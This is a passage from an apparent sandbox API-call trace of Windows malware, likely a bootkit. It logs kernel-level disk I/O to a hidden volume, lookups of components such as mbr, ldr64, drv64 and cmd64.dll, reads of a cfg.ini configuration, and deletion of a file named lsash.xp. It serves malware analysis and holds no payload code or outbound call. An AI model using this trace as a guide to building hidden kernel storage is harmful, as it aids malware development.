ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.661] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.661] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.661] IdePortDispatch () returned 0x103 [0130.661] KeWaitForMutexObject () returned 0x0 [0130.661] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.661] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.661] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.661] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.662] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.662] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294d200 [0130.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.662] KeLeaveCriticalRegion () [0130.662] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.662] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.662] KeEnterCriticalRegion () [0130.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.662] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.662] KeLeaveCriticalRegion () [0130.662] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.662] KeEnterCriticalRegion () [0130.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.662] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.662] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.662] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.662] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.662] IdePortDispatch () returned 0x103 [0130.662] KeWaitForMutexObject () returned 0x0 [0130.662] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.662] KeLeaveCriticalRegion () [0130.662] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.663] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.663] KeEnterCriticalRegion () [0130.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.663] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800345c000 [0130.663] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.663] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.663] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.663] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.663] IdePortDispatch () returned 0x103 [0130.663] KeWaitForMutexObject () returned 0x0 [0130.663] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.663] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.663] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.663] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.663] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.663] IdePortDispatch () returned 0x103 [0130.663] KeWaitForMutexObject () returned 0x0 [0130.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.664] KeLeaveCriticalRegion () [0130.664] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.664] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.664] KeEnterCriticalRegion () [0130.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.664] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.664] KeLeaveCriticalRegion () [0130.664] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.664] KeEnterCriticalRegion () [0130.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.665] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.665] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294c980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.665] KeLeaveCriticalRegion () [0130.665] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.665] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.665] KeEnterCriticalRegion () [0130.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.665] ExFreePoolWithTag (P=0xfffffa800294d200, Tag=0x0) [0130.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.665] KeLeaveCriticalRegion () [0130.665] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.665] ReleaseMutex (hMutex=0xf0) returned 1 [0130.665] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.665] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.665] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.665] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.665] KeEnterCriticalRegion () [0130.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.665] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.665] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.665] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.665] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.665] IdePortDispatch () returned 0x103 [0130.665] KeWaitForMutexObject () returned 0x0 [0130.666] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.666] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.666] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.666] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.666] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.666] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.666] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.666] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.666] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.666] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.666] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.666] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.666] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.666] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.666] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.666] KeLeaveCriticalRegion () [0130.666] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.666] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.666] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.666] KeEnterCriticalRegion () [0130.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.666] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.666] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.666] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.666] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.666] IdePortDispatch () returned 0x103 [0130.666] KeWaitForMutexObject () returned 0x0 [0130.666] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.667] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.667] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.667] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.667] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.667] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.667] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.667] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.667] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.667] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.667] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.667] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.667] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.667] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.667] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.667] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.667] KeLeaveCriticalRegion () [0130.667] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.667] ReleaseMutex (hMutex=0x100) returned 1 [0130.667] Sleep (dwMilliseconds=0x2bf20) [0130.675] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x710109d0, dwHighDateTime=0x1d24fa4)) [0130.675] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.675] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.675] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.675] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.675] KeEnterCriticalRegion () [0130.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.675] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.676] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.676] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.676] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.676] IdePortDispatch () returned 0x103 [0130.676] KeWaitForMutexObject () returned 0x0 [0130.676] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.676] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.676] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.676] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.676] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.676] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294d650 [0130.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.676] KeLeaveCriticalRegion () [0130.676] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.676] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.676] KeEnterCriticalRegion () [0130.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.676] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.676] KeLeaveCriticalRegion () [0130.676] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.676] KeEnterCriticalRegion () [0130.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.676] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.676] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.676] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.676] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.676] IdePortDispatch () returned 0x103 [0130.677] KeWaitForMutexObject () returned 0x0 [0130.677] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.677] KeLeaveCriticalRegion () [0130.677] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.677] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.677] KeEnterCriticalRegion () [0130.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.677] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800345f000 [0130.677] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.677] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.677] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.677] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.677] IdePortDispatch () returned 0x103 [0130.678] KeWaitForMutexObject () returned 0x0 [0130.678] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.679] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.679] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.679] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.679] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.679] IdePortDispatch () returned 0x103 [0130.679] KeWaitForMutexObject () returned 0x0 [0130.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.679] KeLeaveCriticalRegion () [0130.679] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.679] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.680] KeEnterCriticalRegion () [0130.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.680] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.680] KeLeaveCriticalRegion () [0130.680] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.680] KeEnterCriticalRegion () [0130.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.680] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.680] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.680] KeLeaveCriticalRegion () [0130.680] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.680] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.680] KeEnterCriticalRegion () [0130.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.680] ExFreePoolWithTag (P=0xfffffa800294d650, Tag=0x0) [0130.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.680] KeLeaveCriticalRegion () [0130.680] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.680] ReleaseMutex (hMutex=0xf0) returned 1 [0130.680] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.680] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.680] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.680] KeEnterCriticalRegion () [0130.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.680] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.680] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.680] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.680] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.680] IdePortDispatch () returned 0x103 [0130.681] KeWaitForMutexObject () returned 0x0 [0130.681] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.681] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.681] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.681] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.681] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.681] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294ec60 [0130.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.681] KeLeaveCriticalRegion () [0130.681] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.681] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.681] KeEnterCriticalRegion () [0130.681] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.681] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.681] KeLeaveCriticalRegion () [0130.681] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.681] KeEnterCriticalRegion () [0130.681] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.681] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.681] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.681] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.681] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.681] IdePortDispatch () returned 0x103 [0130.682] KeWaitForMutexObject () returned 0x0 [0130.682] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.682] KeLeaveCriticalRegion () [0130.682] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.682] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.682] KeEnterCriticalRegion () [0130.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.682] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003460000 [0130.682] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.682] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.682] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.682] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.682] IdePortDispatch () returned 0x103 [0130.682] KeWaitForMutexObject () returned 0x0 [0130.682] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.682] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.682] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.682] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.682] KeInitializeEvent (in: 